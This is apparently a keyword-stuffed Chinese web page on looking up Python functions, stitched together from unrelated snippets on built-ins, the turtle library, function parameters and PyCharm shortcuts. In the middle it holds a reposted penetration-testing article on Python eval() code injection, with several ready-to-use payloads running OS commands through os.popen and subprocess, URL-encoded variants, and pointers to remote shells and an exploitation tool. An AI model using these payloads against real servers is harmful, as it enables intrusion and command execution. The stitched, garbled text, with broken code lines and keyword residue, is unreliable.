python查函数的网站 python查看函数

二级Python----Python的内置函数及标准库(DAY 8)python的内置函数(68个)
Python考核31个内置函数,
python内置了很多内置函数、类方法属性及各种模块 。当我们想要当我们想要了解某种类型有哪些属性方法以及每种方法该怎么使用时,我们可以使用dir()函数和help()函数在python idle交互式模式下获得我们想要的信息 。
? dir()函数获得对象中可用属性的列表
Python中的关键词有哪些?
dir(__builtins__):查看python内置函数
help(‘keywords‘):查看python关键词
如微分积分方程的求解程序、访问互联网、获取日期和时间、机器学习算法等 。这些程序往往被收入程序库中 , 构成程序库 。
只有经过严格检验的程序才能放在程序库里 。检验,就是对程序作充分的测试 。通常进行的有正确性测试、精度测试、速度测试、边界条件和出错状态的测试 。经过检验的程序不但能保证计算结果的正确性,而且对错误调用也能作出反应 。程序库中的程序都是规范化的 。所谓规范化有三重含义:①同一库里所有程序的格式是统一的;② 对这些程序的调用方法是相同的;③ 每个程序所需参数的数目、顺序和类型都是严格规定好的 。
【python查函数的网站 python查看函数】 Python的库包含标准库和第三方库
标准库:程序语言自身拥有的库,可以直接使用 。help('modules')
第三方库:第三方者使用该语言提供的程序库 。
标准库: turtle 库(必?。?random 库(必?。?time 库(可?。?。
?turtle 库:图形绘制库
原理如同控制一只海龟,以不同的方向和速度进行位移而得到其运动轨迹 。
使用模块的帮助时,需要先将模块导入 。
例如:在IDLE中输入import turtle
dir(turtle)
help(turtle.**)
1.画布
画布就是turtle为我们展开用于绘图区域, 我们可以设置它的大小和初始位置 。
setup()方法用于初始化画布窗口大小和位置,参数包括画布窗口宽、画布窗口高、窗口在屏幕的水平起始位置和窗口在屏幕的垂直起始位置 。
参数:width, height: 输入宽和高为整数时,表示 像素 ;为小数时,表示占据电脑屏幕的比例 。(startx,starty):这一坐标表示
矩形窗口左上角顶点的位置,如果为空,则窗口位于屏幕中心:
例如:setup(640,480,300,300)表示在桌面屏幕(300,300)位置开始创建640×480大小的画布窗体 。
2、画笔
? color() 用于设置或返回画笔颜色和填充颜色 。
例如:color(‘red’)将颜色设为红色,也可用fillcolor()方法设置或返回填充颜色,或用pencolor()方法设置或返回笔触颜色 。
如何使用python查找网站漏洞如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了 。这也就意味着 , 如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了 。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作 , 甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire) 。
为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞 。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容 。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容 。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题 , 因此Python代码注入属于服务器端代码注入的一种 。实际上 , 如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了 。具体代码如下所示:
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了 。具体代码如下所示:
__import__('os').popen('COMMAND').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码 。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval(compile('for x in range(1): import time time.sleep(20)','a','single'))param=eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))param=eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))param=__import__('os').popen('COMMAND').read()接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用 。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间 。简而言之,这款工具就像sqlmap一样 , 可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下 。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用 。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用 。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py 。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中 。相关操作指令如下所示:
git cloneVulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首 。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数 , cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方 。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞 。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞 。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在 。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西 。找到之后 , 我再想办法将毫无新意的PoC开发成一个有意义的exploit 。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的 。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro 。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的 。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用 。接下来,使用Burp Suite Pro来对其进行扫描 。扫描结果如下图所示:
\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回 。但我要提醒大家的是 , 这种基于时间的漏洞检查机制通常会存在一定的误报 。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法 。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数 。当然了,应该还有很多其他的函数同样可以实现我们的目标 。
因为eval()函数只能对表达式进行处理 , 因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法 。当然了,我们也可以使用其他的方法来实现 , 例如使用全局函数“__import__” 。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__('os').popen('COMMAND').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了 。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中 , 有时全局函数“__import__”会不起作用 。在这种情况下,我们就要使用for循环了 。相关代码如下所示:
eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(;)和空格( )进行手动编码 。除此之外,你也可以直接使用我们所开发的工具 。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具 。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping 。
\
\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南 。在你使用这款工具的过程中会感觉到 , 它跟sqlmap一样使用起来非常的简单 。除此之外,它的使用方法跟sqlmap基本相同 。
python怎么查看函数有什么参数在开发中我们可以借助于相关插件或使用Python内置函数"help()”来查看某个函数的参数说明 , 以查看内置函数sorted()为例:
函数参数包括:必选参数、默认参数、可选参数、关键字参数 。
1、默认参数:放在必选参数之后 , 计算x平方的函数:
这样的话每次计算不同幂函数都要重写函数,非常麻烦,可使用以下代码计算:
默认参数最大好处就是降低调用函数的难度 。
2、可变参数:就是传入的参数个数是可变的,可以是1个、2个到任意个,还可以是0个,在参数前面加上*就是可变参数 。在函数内部,参数numbers接收得到的是一个tuple , 调用该函数时,可以传入任意个参数,包括0个参数:
也可以类似可变参数,先组装一个dict , 然后,把该dict转换为关键字参数传进去:
请问python中怎么查看库里包含的函数import math
print dir(math)
你也可以查看math模块的源代码 , 里面的函数、变量什么的都能看到
python怎么查看函数代码python查函数的网站我们经常会用到python的内置函数,但python库中的内置函数何其之多 , 有时候难免会忘python查函数的网站了这个函数的功能 。这时候python查函数的网站我们可以在
pycharm中把鼠标定位到这个函数,然后用快捷键Ctrl B去查看python查函数的网站:
更多技术请关注Python视频教程 。
python如何查看内置函数经常调用python查函数的网站的时候不知道python当前版本python查函数的网站的内置函数是哪些python查函数的网站,可以用下面的指令查看:
import sys
print dir(sys.modules['__builtin__'])
关于python查函数的网站和python查看函数的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息 , 记得收藏关注本站 。

    推荐阅读